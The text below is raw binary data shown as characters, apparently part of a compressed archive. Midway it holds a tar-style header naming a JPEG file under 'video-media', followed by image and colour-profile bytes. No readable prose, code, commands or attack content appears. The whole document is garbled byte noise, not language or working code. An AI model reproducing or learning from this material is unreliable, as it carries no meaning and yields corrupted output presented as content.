褥=NHuX@-DEaRImFHI->>c59qtWIc6;zòhv6.֗:@ F?.|qe; =Byr|)oÎY47* ȗēV@?@N Lv+1}NkrH)vLg FqN#}Z{QZ=Ii@UH$SOQ)SZ@ 冩b|J.˥; |e#=M&%<$3 lvN1lS>SCR:~ 6$TJAﭤas9*%dL:f ZG@~A<k+.ЇBaMZg6ͨ$=Rnע= /DkO <_|å6-xU4-DPm"9+.,M"Y!yZh)3?li)mG4v1.H `|䡦yW{!Z?q tlRNJVI 1@OVD[15żְ*y>)i"$]6ffŞj֪.+ p%v\`1KcT aǔBuRG4cF艰9FZ\<8{T)Q7S|tD0S U@]Lno?IG0hN|)O6:!1T-ȤK@x*$ƏT䢆'V'-4VkQqp\vt8-<- ZYK$tRϘ-](6z|Rxg\*],}$ thjO ZVi :<Q(3Cwk!ɓ7p6ǖ 0ԌqG6u\Bӑ@dy_r]1؁]˞D0ҚEIp3$SYۂ8HD5$jlFZ1ʋ& ӒptZQG$v n!lg~p6y=19қ%c?Ʀ =PiSN9h|$ac<>W;$Fc7u~"I=VBw.igdK\6T_H>~  y.@btd_[(_M`X\X=zV[nセ؄kkZ0s]K+'R$8.cv(~>6HidcrFG*L&Hŀ@74@!!- ioB($O-{w YI"lcZ+v9h;@ h*P>(h.wqTbj3r#8.bFޡz/2<S*/xf<luuVH'Y]j#d̋Ahp|I Bg#Oc^at? VA<࣑[Z6pN<8|"n<&4 0tc F9اf##[(t*|E!;‘1AU I>WDC.l\rv|42\[tUFX{#ط5zր%4xdg;#R` a!WuAāI^(RV~?FAc8U~UfZί̇53}+_dz"A~k;吸 B(ú&>MI|Y3r٤EJ(1<Vd>@}V bLGKϵK-" OʚX2rf@z߉I3"8 n'+Q(eO2Z|K_ygB9|4[4c ,OoemyQTcbC\Eɠ;n(#HIvQN6BxČ n<.N/ؾt Ndդؓ6B;ZE6浠>aUc KTy  mU_6 Mfd2W3hiDdVW><dY gJ"ɱ,q ݬ6H&@1(f{e@b܈{LqQE9ōF4jL{xQ("BOKD[}+ZHFGk%6ȴR-:^~ x=ٲt .m( 7(¤B֔x\}-G2pbvU Su%SB֟e-b-oDIQVR6#-qBv9*eH(;퍖phYPZ$l>)RoXTid/W60T06jТ]GJ+T&4H_)͑m. n;h}SS. aTC[aWUn,E@' !ѶU KЭZG6: 4tϣ j[ 0䑏M))6mWF|918ЭZBkzc3(1V#-g0 9݊٫n5[3]{=wh1^Sx5ERh \<(m=r)0Y#@3!hFY'*SQ%odJCG8lV@Oɒ<Ĩ2Oͪ..T<1*ۚ`&*R*h#Pv,EwB|6xMfk # Дc`lSEyGݠu\@͔76=:61-o&E'ֹSs%#r!l͎D#e=/{?ګ!C&SC(J^(QZ-K(RޒΣ9{no,jWDTj>|qԭlUwOܔTpfpɻ+5Gn"0&̈+lv=¡D;wjּmqi죖ak7آ3XM0a۾l'v .[T}Kq n"V.6S}l'Kr^|%<>2?FAAoWGZ?Szy]ıÅpOǟ~ |n\8l4{>RGhJ #[[&`VtnLlz;:ߏNk 5ͦ5v[#<71>jqQs[93X163AزapN%CɠT$asͶXV)NOGŘٙ-ǍȐV>xqK$c_s~+$oN?*} Hg@ݓ,*V<.4XI9:4gp:iECui`Yq$bpgNy 1f}M1%~S˚,I;KiJIbFB_yy]'’H9vrqGi#Nak'$^xBiXL/,s}&i@|B6:=u WԴTlk.oˍTXbNtvXCТt9u6x"ca"ws"N=6PE>ysk7_}b{T!Xf;ck@K-{K!fg9-Us;Ze<Y7CjDQG^pC\}ҜSJI2mas`dt);D ;%iFG;TF9) eT`P0x/k D4r7CѢK<1lEfIR5Ā;)rYʀNQ5EV@ G?$pTuX&ѥFJMͳkI@WVTmIjXsn0 #A ,+y tf; L̏n{@-d9"5BRaFSgc+ϴ&kA#\q6&IUђv NGdk^Ϳ Y]?Z5QZ 0=vehv=}DtRSNֽ{EC9*qZ|Fyelt`n\M==) {J-t#Φꡟ&Es.0.wOV0\(Ei*7*LQp/jp/hMl\L|RVA5?HX&v,o2@d;<+5WdŲ6jO{E_cVQ6:!#I;m  vLD셢6~ѕB)[%*-ŤTܸ\{ e Σ%e&8ɢNv dsl~;f2IHB皽;o>!%pćB@"Mv,k+V_S/Dy7*@|tܭ>3`euI6<-Α<Wq0~v!ċ cFO>1`d!]Q uA߄$H-`E|iV])ʚ3+x2*\ 'Gީ&h%d\jl9U7p_Z!erTn:!yc5MdHj-/@i>֫Nџ3wy3y208={ RNF+]F`|@r{GBMvыZуi8{SO"B7''2ɏER(&%d?8w$)_}14%6A*c d kgOp4J, Й 2a4](rbb{@SZg1.2rad+S4Myk,dW R!͍ўRH{q'R88E^q~E~zb]OB.l2t,THrtG!{9X^l/`zrcժgDÃ٘-;%oG6{wCؠKEdxy ^?r \-reZfOX1U>>.$ayfaZQp%'K38($< KkY3+ix>đ[Y6J,n8:ơgG 6'qbtr9%:V w5dGhZɉK~G)ݪk |vAI#{Z HsY 6²/Jȍˌ];MH$?q=* (f78;v'W jeƉ;8s`ω&\{$qۅQx3RbB96 bM$Pg6fm]1Qsk|ryC[dvOw;ٍ6G+p<~UcC#@t䣴7W,t&.\R>%˒HRh`?"IǙz&>cyw41^Ҝq<۟ԕ/,>-vyC|DZ doDS v>O3XF׸odq[{Z>4O@ya9KIc>#^˝&X֗r\oy1FOux ^7 % uE2L ={& c;Lӵo u^ȄA. ir_EAlIۅ4uG&<8M2fGF9$)XN1RY^n.$,Zk&t/ w;ktTsKvKfO-utf~!ty?-dktG'6&wXIE;FєGh\t{J7" I!2J sh\ s&t2MRjcrce-N6 FɄ53P;(L1kH<+eOFm5.^|c漎VMK.ȠՒLl:6()}FӗfZil5G+|r,Z$KhN/f2,2re&><?'$yJAauw [٢[C[j|Zm]AoNʂ9f^T$_q[X9x+'+nc82IY/Î\Jfi^lZpsu}}*XZ#mٸjU/C+AdCo-%>/|n?H9L|:t<]X\"\JIY53.d I&kZf#XҠÑ>c<+OePJT9=:p,;$<+HI8Y2ətJOQLбQN_ )dLf!p إ.>QӍ(>s`m^h" ulު_ABص#aef٢cIR-d{S,5HX  |]ό3g H^ ji6FmO o x#H(-S-SaHjyi~H]4&֛SF5Dl XAPE{*3[+bh7]@"&*i", Nt+\QU-?/(4hrDx(7en>V|KR `69Cmgpݩ\KDvR7U{!dM9Ǒ…5j˲k5 Hv>] 23-) {ӃaE9S^);'nn'Ԇ芲 -uW(GKw-Q>TM* 6"UFnOP lB˓ԎLl溘9U ;1qNFKsQc{s9ybn_CeG.n[ǎ&>X0!jPC4Gl%]7:nqvܙe`d")O=-;˽e=̏M-= Leٰq絡SiDasHm2m_B1cD-VyqeIě׀E/NωNbmFlf4&z5m3+A^;ਢpD)Vj1Lw5'LvVgq_sLٓcKAÕlYly3:V^|ӿAj4GD/&äkj#I͐$$5č=aOMVLt_V1Ɗc;zW&+K ˊMo-.c2#l9r&|pp!DXR1_(,=lF#sx?%]Totlޓat >}]'"$& (uJa Wb_EY@6ʠf>lj\F .b9JZ9UVy!ɍxHV[IE sz҃#O$o#J%Hϓow \X|K>+&UH< D#*0PgKA@'ߦE Pxxa-ݥ>8~뙅f~[:w1iͰl|*l K%0sw-W,}ːeG#r,vx~L|#P6}Q@ҸG@ueciO_fIIq#[cx?O$.I cGx͒FW$،fh4>R]]Q ,`dsAd’@2sOr݊*Uƴ,>!cp`8ۅHF P>Pjiy.v̹%RGQ!1c~$}~U8rZR}/`nc8&bPm(q.CD0*#ޑM,0Gr~jU3MfAkf~;j.oR''3+.$%r;V"ˎ \ָ(~ @ cZfF>>v/6"v7 խx τ2`.ysh!_?QP=2H{Vz;iO.£Kh6ַm\lJ)EkXȅS y dLZpO4,0c&MVz&&nfD >K*mt/ F_s94sb4h,6 7)6Όu@lHs#g$F@Gj2n^tL$KU}K<]˨nS^~四P")j~ܵ]fi?(43e,)yfiXw6lS R|f*CsܘDB<D6B "vfg ] hByTl.f lJ;Ze\XΌ*aԭk@!bLfV>2Q|G&V[!9Xkf  ^Vڦ;C2!qa$UR@Y䂵Xuo,Ѫ1ʔýT˞ל).‡Edheϫ?#*C.,1 y `j;DŹi]E'FO?(wbepu(}t?M( .sn3Y>/> 60!V:n>.xO_gG2X${a&U2vt- ):BejdqowE{O=}rh:^>N ˹zUW%˃Ȇ;`ֹM!f\;k@Zآ)1mP c#=VSUBK{}i:+ - AqH)L~V\{6HtܸdȜN]u4tǷ|XY4|aO;N>H7$-v&C]O+^šNy,ǁ8ҰqcQJy9h4+Irp㕻X ~x_ĽʃPdd >6 hrfVnhQ̸rq@}&>7QZ =Zs'ywŕGDSm);X .+e0htY$R¼wne李428c3zbKGW>>Ug$PqV=َsY 9Ez&rOCA#(\ +|͕{ܝ|bFKV6>ƞpO2 WQ?As,nDŏ-Kٝ~u"C* HYmT3dn e&҉"ahM9h誢$s-&04$Ub<}C5ʐUs_ӓd mD#4}&<<Ķ9C[uQIH!6H8@cyY)shI,y Vr s$l4P3@Vѓt^JdH7tlM$ɊMCPșk1dip<+ | rSl w }ҫ3rF>t0|%|tYRlqkYi8kX+{ZyOs+0N+oKcFxzLf4Hf>[ eS4aSC."Bn~, ^1d >ʨ›?!Dsɏk t8 e^oStX^?@1hM_p.%%׃v>\]dGZd&䱥ײoeI>b >tYK{ |BiԱfe=$ڿ|I.N'zAօq CWžigtrJ6K2^6'#ZďZv>dkKhA;yu(Q~ͻa&\CyR6[B2\H=Oc&`98&9f@mzA]M8XЗm賹8vA{b|׍5-]Szd>p? n6Rd=B_)O) ~\װ1<%F`KX^;FsO kU% ");p_$zM0=otzlE;ek^5܂;bMdq8C[F Eml6r[ 1T좄)h8iN[j hҙt"^\l@nj6$sK Cj8n+'怭[#Ql}a6F}$hڶ.T2z]OhWu'hᚦj)g2uD=c[.RXMF%bcG!@q&*#-ʹ 㪖0db7䖰voȴ{fwKfTKm{n_*|ZP9}aίw0"Af2;)v5?Wp~&.  =EÈ|Lx L,'iFUk'61)+ѢŃhi:< ᖩ5kpɉȨԵ#nfs3\QC8*i(ǒnl\ɴ!&Q=d,YN%ZM6\xbih"yMEe&.AV]M#yNk]*HOV"(TH G'[AԒɚ EFaiq^Mqahb[&v;Pzg61O5I1Q^f.Gyl^V]hJʭV3al`ÿ$c7UUC;Hh g2QzȌ-!!h0<6 j3E e\,ޡ:|!~C7KΟs@ >udYbIK\T-&+|Z5ʯeoKD*_0uq ܠ Ȏ(4B]JGLk &ލԃ ʚc2ݫpk踤ʙѥpvi\yh}8BD\imv+ GDC@#'=li( yj,aVB _!gpfCdo%sIgN.mCӴRlM|7R7K3#(h8cccCb[r#ΓctӰԕxd-<@;C=UhhyKvc)h|TE,(a0D}3%ѹIaBs&i1l$;"KWK/ E^.;rdkt]:{Us@艋-њx;O -7H?'Rjcq]RZ*.u)fC|PCTt Ols,7XpJNHH4dZQEcmir|PYyk8`g3,u m0'P?URÚ|{me;q*G6Vn`}XTWF9IC`lE0۝fK[$ܸt M ٰ~pQ̕ %>gJ_:1`93O30dB27SCA &W'N*ȩRA͆25ŴMqj smꊌ٥WG7 sHJ#waZb X~)PDH A7g͑&uoٗc~P=9D/g^x*[Ӝͣs^,;-@OUg5Ѳѵualf'h27$wÛyd"Smu94ah:/DI0'$WNl2 EA $-޼ F *Sܬ0flqw@SRf{-U,&>:X;{kHtcO4!ӕ64s_'xSU|?&4>HGǎv.i &>HoT_%R\U^3R6N򬃭RvF9cI ɭup IMwJsQK.CD1+s}!ܞ Rͫb\d<|v؃m\F̗ -J85_HӡNq_rqg(91{AlskghlGp?߅U?+toc O=حg``0iat-$o쵋1}2hC湧(2=Q$†2c}eMtel{f,}+X6Wqr9z!Зo F/q)hcm ȡ57IQ)$2cm_ecCI^UٜvXpJ4ydxDZ_T}'L -PKwUJD :{>5guҸͮJEh-mʼn#9>s3v$W`ajZ~0v^e{3[w( g(Xݻc12\v,RHbv֖4>7OaI"M4}WO~+0dދKxs;<ԓN\HJ-&pex4ʋGAiP0DM66~/>8ZrW rW@q'J9RQ[xgkKj#خ2G=)uc0뢏H@wZML~>cr= "*N|РnƼT%=qh0ǼF<|y;7i$Z\XA(<\رDɾChzG@gMrl@<%)cŐIMrZ_&8r.0wT72ۅgb8A6Vŝa>Fbm7'?[ˁWwD=,"bd/^;Uu:8?{,_$00]U+sV8EW:>[g= a~!-Q$8xAGRMi.P XG6&8ㅔM `6xfzm:gW ҃d_hUvV4Щ-1YA#9 zcő\H~NCbchqGWtQʺ.و_&;A*9iKongu%L[#<5?\.?P̀5J?-m`Pt?3-X-Faa h)Rkc 3xI h$vX?sA^;yh2Zȗ]Q;m|BT҃D+bA>C1߿t,k8-^#p1I'ZkdX0y?'R:bYYK!{$*#Oպ՞Lia4L|t ?-셠8fuZ5%Vc>PUan1wJ9niX<)ɾ^ʜ㔲 M947}^N$W,x?u1mٳp UU]ʢʎ[W>H$co4ZK 2\YsZj)Ȣ;);Jv-d_j iS>VR$`'8+9x- M3& pSֵ--Aťd |zxPH"覦У'{ `x誳&5mI&QZԵǓKJʌ3:'>7Kyl,D|/] ccK9-t3 u oy:)+(kVZT̒&[||wEB1´fZhַh, zi4;.vG]zsEƑo%?ȟK͐^8., xKi;ҝګu]#egRH'P31ݢ=—K=-&%UKKa71vz"2u=c8q?yJnI1Z"o v+7Nih դaQDQ Z5:7esb&l-n\,{qzn`*yqX{s'_Lŧ[)c++\lA%H-2)ɝHzEC--gBT8kf~;i4[} \m}dc=GlAƜwv^MQ OR4l`'My%Iki. OZm?0O^{9橖إYkw:սՀx 'Foh<"z?=ºKIU8a3G ۅVLtմ)N\ՎǨF6 9q'!)`bj$iȾ89Wtǟz?Ō)5dwX&6A5mB@6, `gQ/7 }-O'[ Tf{eo6C{b{TuDvW-1^ytlySO+o{}3tDQx, shƍ#et TFpP)T:W{?t5Z`5UY!I[ҴD >d> |/hi%Xקj)7,n:4 !Z- ƼtWi&m\Ț.%wg7nW6GvYI WJdrD!0-1PF)l|AIU(؂TYBP iE6pt~P8AKTLf+;[ B|TN#( T#U'v&TKs&g!\pZ(hŽ2 E!Ba4|( :s*] tTz.XME3p\TІ;>F۝Wi|HXɄ4v ]~iikO vޫ ,@'ocZfyxh;.5 2仆3lip8:! ?ϝr6[MJli#p'7HUFKbGEە+cMvn vAjip(e˅B9{/2;q2̑VتZ!'f,l;cv=J8A5HW~˙\pboIvUty4cӿua<ꦒ\mqȞUU|-oIRVXѵ,}m;ȌF6aNj G $|4;Ij;|yvB:# σ$U^0jBddsx&Kd9QF6?]#?W7F>)ݑ:n;_V(]~ӛ.Kn=xj.i+8z[bѻƘ/fH QO|,NElf^KVÚtE |O=VWqr2AupGU5m{ݰqK \rQM0r=$Ůul/(ݲv&DM*1ת9)&ף_766"+M"y^]F֚ ZBXF)+fm&ikkGQ[g\aSd2&;Lӥa4uq=̌ddycc3"_r\njm`G\kX]' m:I"l9n# P&Cbaq<.K(DQZ:y'4|=Хه#6NlL$~I /2|mŕa,g@ :X((ߑ N-nQ~ly$γVȯͪF8b7jA~Y{{6N6P\E嗸uv[E<* g11@ޑ#NE&& 0NʫYv,YyoB@4?tF>FI5RΖXF'>]Wt#d2(e=} yM<X#ɹCKZ4]RH[vz\O.7<-v>ǂ׆#`9䀸m.;ck NLMM|sb&cnHd`WݣwikA3e8!i`&QPGfA\&F<(r5,GֺxmR}EMq ]<=Zn<u ?rY㉬{ <#2H4s ;~^PHd4٣O8n S|e兏+.ߺ~2_.N4^sep?$-SE$N t'4;w1!{(] qb`'bhR7 IKݞV6#.5ŪOOse}4?*\Ѳ$ݵw U$v1nYtoYaY `fqlp&#- NE^$҅9E$8z{!,a#L-EY^c/cnV -#s\ 2= VÚӡ"7)'YZ<4Jx68BB;r)9V=?g<y -zg-;`n3,$ȧ3F煈Ѱ&yh滕5DKI#on== *SfEf4t2䚊79OM,B#;boxGe&1|Xִ8jD8}ܟt%HZ,)xi;qNͬ 'O[tړ' 9Qy+R4r]M,tr<MRmq#{ۼt*(XdzAi?QO&'Oe56eqY.ٓ/sG;MqO 8ڳ a]7O? 7 V # 㞫r@+ #x ٺSv:(w)Tb7Čw A$x,wCݥW7UB>SیF?*BfX quШ4g~- g)5㲤ձ3kouV/#k-T9* hKXLhVἪiIAfejYfHO\GoQ{=&.6;~N0xΥQ,3ht@}Chtٚl1GT=72wɴƢHJ\sskÖWtT)ELnjO1_*OkX8Xe~`Y[7 p -rh-Q Q #+dh;Ls-`>謆O @em'iL UmY&YmQMPe:nF(F,DΟ9,тL|=wJN#K@K+X8+MuX! c1욝 BTc[$s)hj2]eqot^1IHV\64L,'k A8.*# g/}@BPP͖v`λ: P֑j|ԏ{溾}S|ėZad|2At9L88e[3.3X;g If9EZrӇ= /oN>;1rlàmj2ٚMf>dc^v3gN3Lmh5} 5͞d'n, l̉1_ ZCA=M-F\Uwekpɇ\YmU>.L}0A<҆ c?|8YXXtA郷7|ڡOk9Gӡ=T,{|*]OQf<0C$$Ug455@GNjv31ަ <(BjC]+`<p8О6G>Y^iG r].lYXdˏ5rDogYd{5\ G?a[_grGdجȁG+ dLa>Q*Ce>6 &'†-7KvǚC'Bh"-;I}I6{Ǜ2!ں"Ǐ:-9|_fvih+ZִJq[oo ) qc_<k1kh *ľ ')9I= Iq4N4M#u6t? 9ã^64[\?`tDZ\U5×LRf6K5*;C7y٤+ G٣R0sop)Tl WYu7KfF]Fr.9h6N\şC+"Ai'KF+oes5БW\"p 9>64t/13&@%#"8,L҉#i%Jɚ'diS-l^?uG3F9ӗh 6Y6hf|N?gl2@ZxeQeG.<q~~ok':'Xy+cK5ƾ|Ztt)ipr"8s 4Z\j 4ET#܂)s_:p& 6[<VopA6H`#ʵՄtҌ|gO&W#OhXyP *'8T\y!M]d#+DYBJS Kq wF,sD !(w h&pslkv 5/mXSkɵ2VvcS] LMJp?A\:=Vr :Wָp J\3(ޒIe|*Lyybi~=ў,VK c4lgyBui4)AˣUuFZ5N^=$lɓtG,Y涨)UG }lRXEJDtPN0hhI&i4VFJF j:3졝{hz5mP6[({5s~Rdjck[(g74[|a>,1HC9LySTz$zLUu$冃~Q>+Kxm(5ߩJGܰГ5,)F R9 `38'ю7uC"fjMoVnsunW8zgpe)c)4o{WGPe4 ohԼ+g7Apv](ƲmZT3z\ZIU9ƣ={{KtOM6\,o,v~AjYܜ;3Z^qt6<4_|tBoI&Hfn#܀0s!ާ4y{EDiIXw4ʽbN?$fqRO*-?Kԡ"bKcT9hؒ Ly+S)Z1k˜;Kk2#ns5=lEe❹26÷_{ᮍQm?n$Ԍcl- T-7&.!k(eE[ecA+;fmњ%8٬pt@yUs$Bwi ؜HKtk1Wdp,X͘$\戮:5DZUV/9]o wccAxO2B;B$t YS60fўMZWŬg`4RBB] ]ɎHe8B_q˦%pCDkCd)0 ň >T4̏!מ^=T glp=x|<22a/=߸vRNI $9ƈK#Ŏ?S14,"FH.(eǦiGvӴ?z!q1cF$N&_T<^nByoU}1ćЭܪ|܁32q-̰U4Gsor\%cCsNO&.bj3]rײ:&byst߄Ð4s+eҲmgN8ǎ^ 3kA[X #ʐI1١ra> %w>Z#mCǛ.73\{'kIzFGg8/Cy׷u5.V7l @~TFL#Gԙ>^p$ciDfclOnZm5i Dp]W)M :,lDM ,dAdN;O©~y wF <|fLWMT7"iZ6N XpYܝjL@Q!Hȱ+A|ۉTJdӹޮ{?3 ^dBG'&wIoW of¬v62D1FN#e䄄͞httiHLdd|`;qB #ձ%:LZ,SkjV liǙ`X.'láTSb3_(2f${O.]_7Ť'2X>C`yx&EN򛉛$LdirtO*14_? i|Y-st`N[sʧXd{nsh 7F&p8 T4:WHF\6>IDyHim"t)r]҈t p7,m^{I ,4Bᚫr# kDZT69PH- T]WHEi OMȖ3Xv~鸌@w 荞[\`u.y͒WiEBFyÿkc5 mGq곌r2ncTdl(' Loe4pq: 㢦%.Y.l+i<.g/=Bf.u'/hxkEfnLt=_|"d2LjsOwZJw$:J,h=J*xߑ X>laonźYvܰl-P4t:-Q͊n-)ZJ&N_Yic0gh:v6MI0dʽ#2RN쬙&wW:Y:) d2b=dg[(Ovn_iEz#i3M#ʕy[<]M~^6d1l=v&V4A1dry4 YN?O=pú16Hwxpt/z}ԹykGÐէwG`tXÆ=;M&_6m7x&9L~QFOvPOI@-+;!ʩyG8imr;a(yzMQ*EɅ3'NXM;zÞnY|$&,]p<=/IV;piډJkY]Xڸ zjl[PcۖЩR&5A- 9Z I6+[Ԩ3B#>#RY(8 roh&vHZK\إ ,sBf/8uGܐ}+y#:eB}Dڢ-ʆIK]G+ !U杪>:,MQNXԻ*9t{knZ0ȡ-Hy4T6gǴAdx;.;7M_HlShGEAj@7j̕n)ړ1iSyYS<} 4rlyɖY^!*uy_| O5DX39U.QQ4*fKA)cF+6"tm 9dܦT,(O+4SwWO*tXŒ[oTvQWWt9<Gŕ :e$vxTQ&\=3##lnט1?H@-p藕Ld(]X/=Pv5Z'G%  5},IQJݷJ7̕PË{)ɒeŊ̈%s{[C7̱;a֞  NKO[]zx(%u]ÍlY6DݻE%kI=F? Ms}WBu.] ~L]&\mGuM&[yHp[a@iv?t8osscmW%&DQyVa"$֝LB@[@7,oғ1mZhh#7}%FткH+rlڄu,w P7W|QfC b`!_\]7NrjJ%!ʸX~~6;\GZ똚N ]wzF70d ;Lmt(\3r1٘8+VgGyƆ)&3D lN@UwsDSNH{253i9M(n&*+"7xתh:~lLŜ!ǨK*9:,QÏj~Y6I 91`Ke ?U0q݃4̏s׺d蠖 OR+v qƛ+IsK"R<#>?YvLok};#m(a\dBK`bed !co~lZF4_U$,+ ˍ36hṥ]BLɢnG(`䌖KC#!ƞ[[R~'Y$s}zDeECq8{Y(rk|[$ۃFD3YY ʖZ]SUؒnϞV06)s+SN'*8$/#X|S> ёܻHL-/hp,$Q*kEF4'ǓLlL' Kn&\ ΅Y(43qY0&8fa:2H QTe<7ɟ:u8:p?o4,GLB9"'z c0/3,ac4WM#}AWeؕGE\Vv|L[U(`4бج[.׉($ ԢL62S)X`*hf`ڟVfn4;$3+_LN?< 5cY-mه7f}G觇D,( fY@l %P=<sePY#};Q/kfs{{uK|gjN6M1./јԴݮI=q>@|0u+_|g[|5mO'ʄ iϴ1gTyU$Q#o[88KLl51;Yf2KQ09-Öt ::}/W{t3c%`k1 [l+tGvx5p> =:v]-6Ce"7r(Ad9̠~QZ">6d\ sy'd/qq6JxGODž뺀Imw佂6btbGQGXnhN=Y[YV̟+#$?{w72jD-9>n3N>k2#8t;܉ݑ<n/'/ !fJ\Vl˳2[0h{)p*avvuv)q5dɉBƗ0I~/*\\9 Y4l5|}+KаMlǵ|IhweH߽*T1.)L(Pp8 ~$glIKJѓGa增Qn-%z՛2v ++h:0xqf'CI0Mt VvÊV8ю ۛH G2RNH1NJZ}qǺ@#7&uFc)6e:m/R}ʵ~F]:& xΜ= "ZUZ Xŕ6|ػ<"3%Y_ryOZI_%#]7ǹ\:1hApD5r~k4IW+Ҹ˥j:3"`KM]+Nsc6UpT{40gXc!čj!B$\AoNQo o=3D1o!Z@LR,b1֔.ԜC ]觉AG>Er;)fl'gWyEʦDŽ_Eg @+AQOuQ ׻q٪G3Qde $>soTRpU} W(0 3J{u}YC6T"WuWsjJ L|_Sh!#׈\C*:=֮NjzJ{ZHQKs }XQڗQ4pj/N%Xc2+7?fY٪ǨX5 uFG%f> 'P<;sr#P˻6*@vwA5fm9ASM"Z3ԳQ2~䒯u!򵋢lX$phohĂ e4;9TXY3:喛G%?PӲ zk#Q#y.2mZLDͤr>)br}dqQff1ϻy:OYGh:1}qw%+V~4x&jVN.(bg|;~mouscț)"^+R#J dghލMf^>4,cY$kIiQ9 M6x[&s}©iKa*]<2(nBFGŭ.VY Ժa/(0SDٟu鸙YrY -(4PcB%"g___©4ω:iO~`-s7uFqJ3\)gdGO*qݱW૿N͑ YuETd.)23MgǔX(XSq$D'‡AɁdd% 7J)1ve`Kܒ+,NvK<^]wWz$Ӿ`I\LV'. 4jw^\(l2)mcI>2;"gI5Q&8i492[tz&l|i atA &q 25xay rf S(J.5۩HXѳ֫r1#tDH^ܣq*˜l 99%;UTh:t]?+76FO(GS9yD6*8tE~?@ƒR벺9!cA?r|ZFAwXloڽx];1dI75A 7w(|}Gt=o>yBl$$I ͫ w wUCg!syS$$fw)ђ{0M)c;MzЖr4sB /Qʇ/)0D!l]{Ɨ@૿AMkCrEG!s챔}{㭡Ul~^F3c72AjoAIA& M&5㪦];JO{N溬ge!Az,r- OGx-?~D`o. 36?h?+o$ђFN6xeS>^۾WF%lU TYCހǺ˖%xcDve@C=IDK7jHK#Zn&{ MY(-!VgeXyiыBY\L<ܮ]QYR[8ѷ4)>n}Gg[+)ckFSm~F 1]W3]&8iMk9V  ҋMy[tC0vjv:r֎yGzp-+de VZ9ohʱm$kp\JL{ |i7u&vГbtˏ )) RqL8n֞j|{膖o'V,_еxqmԨX͈M99 Mׅ].5]c;ީ씂7o!Z i,#⚕,SQ >,JCl`ʂ]L *#P{.Um#Tl5C1'qg7JOvܷ4i6"uaREwfY\ܯˬ*|`H 4үi"S̼)@];Bkn.IED]7tʒ?w%ӡPv;dwӛ`QT_s.Zƴ\9n݃Jʜ@xYI9a7TZWK 7 QHk?ڴR,~<9kl&y$"+ +N S-1^ҡPqLy2LaeJJ 4OeqYh¦)Rl[Ϊ{w92@Hxa n6O**2!kV^M- qÊhsN*L%אJb4:sx=1Օ,S,vQ%jh,hf,c}_bF\+;##Vܓ;ztE՟-]EɔRx*9,^OҰ"4)?#we&:<Qҗ<pWf?26 |53 S{'d2NMGR@gb!+\sQ}I{c"0xE]t3c n2>qj8II(|kd!w~PwY}_7 2@Z۲ ҪɁ@|EwCEd&|4>k7L%imX}_ ̀Pxk ˕g@ljHA9E7VZ6Fsl-h9unA6`6C-ڋ,3d>I->~R#$"]C8 2-]?UfL|;|?0d̑KTu |L<g&s-׷D4 y;w60s 2EdK>H8lo0+ѻԹTkGa:)M$/K"1b "X7k-N2OB j?Vfq  mk `xy5s?d_*BU.yMU:"'"x$*^#'2+eZd李hFZj+xIČ>q`VlհZ?qYg,k6:cѵ<C +?.evz,7L+VMD6'H\zKӲ5 6;_[ nNY_\5c9֗c KY dmgV6;ҋx NȗPբ2sS`–N-=] lY.C\*lڽ~\;TVa e3;vWƊM(Mp Q mдJ1fDpM#wJT!@}O OKt+㏳Κ}Rߩ,[>U\pXșI!:1ESѻ@$ x(p0 `-m׀}F(;͕wLgEHݴs_hr&m"Ѯ71KZj\q<._m4粱?[;,.qs.SKy[=Y}G<\ ^,=V8r!C9y䨞5.Ǖ5wdcl vCcZMuF?CRPPZ6.fyWvEۣ`+ B &GGV<( <܍6HhEHwv#ZzoOU;'X XN 0Z|z#赉T}KdQZ]NѿWhaYE^V rǃb9e_p\:'txgc]UNYyi iec5etcvcɎ{몥̟?&@h+ E y_!qosdјLq-=DeNw+$ҵst.\c:Fq$:Y5]zc4>G^&ic<3BZ$ m8\5`:摁%;Gp1C޸u~;@?uF0;/)FY F; iucowZ(-F$ar$fD:C0w>XLݰ#סgc漺(Դ,kfDh n8SY `H s|[E?Ňχ|9*} W,6Y\DH¯b𨕹NGF~O F ]vZ _m҃5t!w4g027ECc@'?R jkK1Z NqKT܍- q;M +Y#@-FTlt ֚gd|e {i㉖+m4թuQD|@'qSOħR9woYYݲmG? iK pmg&I|-=YefU*G^)[3MaJZk.ş lw($#dZ膶{LX.{2cf^96JN돎O>BCP$`|I?wJSY&@U c|=OyQ~pWWS;Es3ɶמ,f7fx:3niXjQc~#ZpGu2@/AsmԤzrC(kkz,kk]BoҟH?ȾN UX4g&Эh \ <{Q*p)V6lNmq}ksaL&ߎݟs;#qWxʌ] +i.Nondn;ņ!aڕݠO$<+Vs)rG'q{X\hXx| -|FkHA]z)*r+?video-media/COMP_24_layer-768x432.jpeg000060400000135536151724237330013020 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprtEA#|V[rBW&Яm mu0 NݦVMREGdPV(p qSR#75΅f M;Kr2:ˢZ&AsNG(P!MLfomacqV6Ybڏ:ICzSKsU%BDEGIjSeZc`W46H%Hť"M6r3t`#Xת6-"c;>KEP[5zge9C>)¼Vž>!qZ#nH5emn* \li$:X6VK!o$5*[]Nt90x#ĒM>v>:3"vY'?txwON(Gx3O"*k#g&تe&{``e:QcMU>§%̲Jώ96Fe0ug!ސtܯz RKgEt)5\=KM*܃>X95qbʸtۋv$h$֪ ˪Mc 1QQƂ'M8&}Pͪ\޻Ks£cnLe)Tt iy+L{/ZXQ{=ė49by$<{XA J)8J?Gt":r4q8151\ _l~q,2H9^䤛H\ VXk)jn4U\`Ag;I&2 'b{qNlj ^2ikkfwc=M]ӿ-cCqq/42(cm3a]B %#KcO.=#󬗅XPiyl\?ɭ)kWRr{0j'| ݤ'i:]~ pG8T1267c\ưɒ2:s[ط5-?5&I du(M+OIbCY&47!z⴩ogPUZ\ysY8 6AϽMC~+!@Awjs! H9硥w$hތuioh5?03OjV9yI5eܛ;-Q2}iR(USCOSA@1L4/CGn(+T_bbm5)sm+Z(مt2 S& يZdGˣbmbRV@HE+QD LTqX\D\"F#(j%hbE+QXQOV02*;hDHl v ڙ &+V02]Tց+lBǠh܀zV}c3^G-=.$RIpdTrpGg,\} gZX$ `x ҥ=I6#\W)+KQJ`-Ƨgѭ~8T76FmI y%9}ꨨHEY)${FjXFVdm͐8sQgF8E֟(5/6zK+ڽ%3xd<]m(Gɒ27(48Rܑp}ʤ{qTxm S\CLfA#|XIXO\q\U4T<2 sծVFFN TVI cgZVߡ{4xFn/t1=5- &Ʊg3b 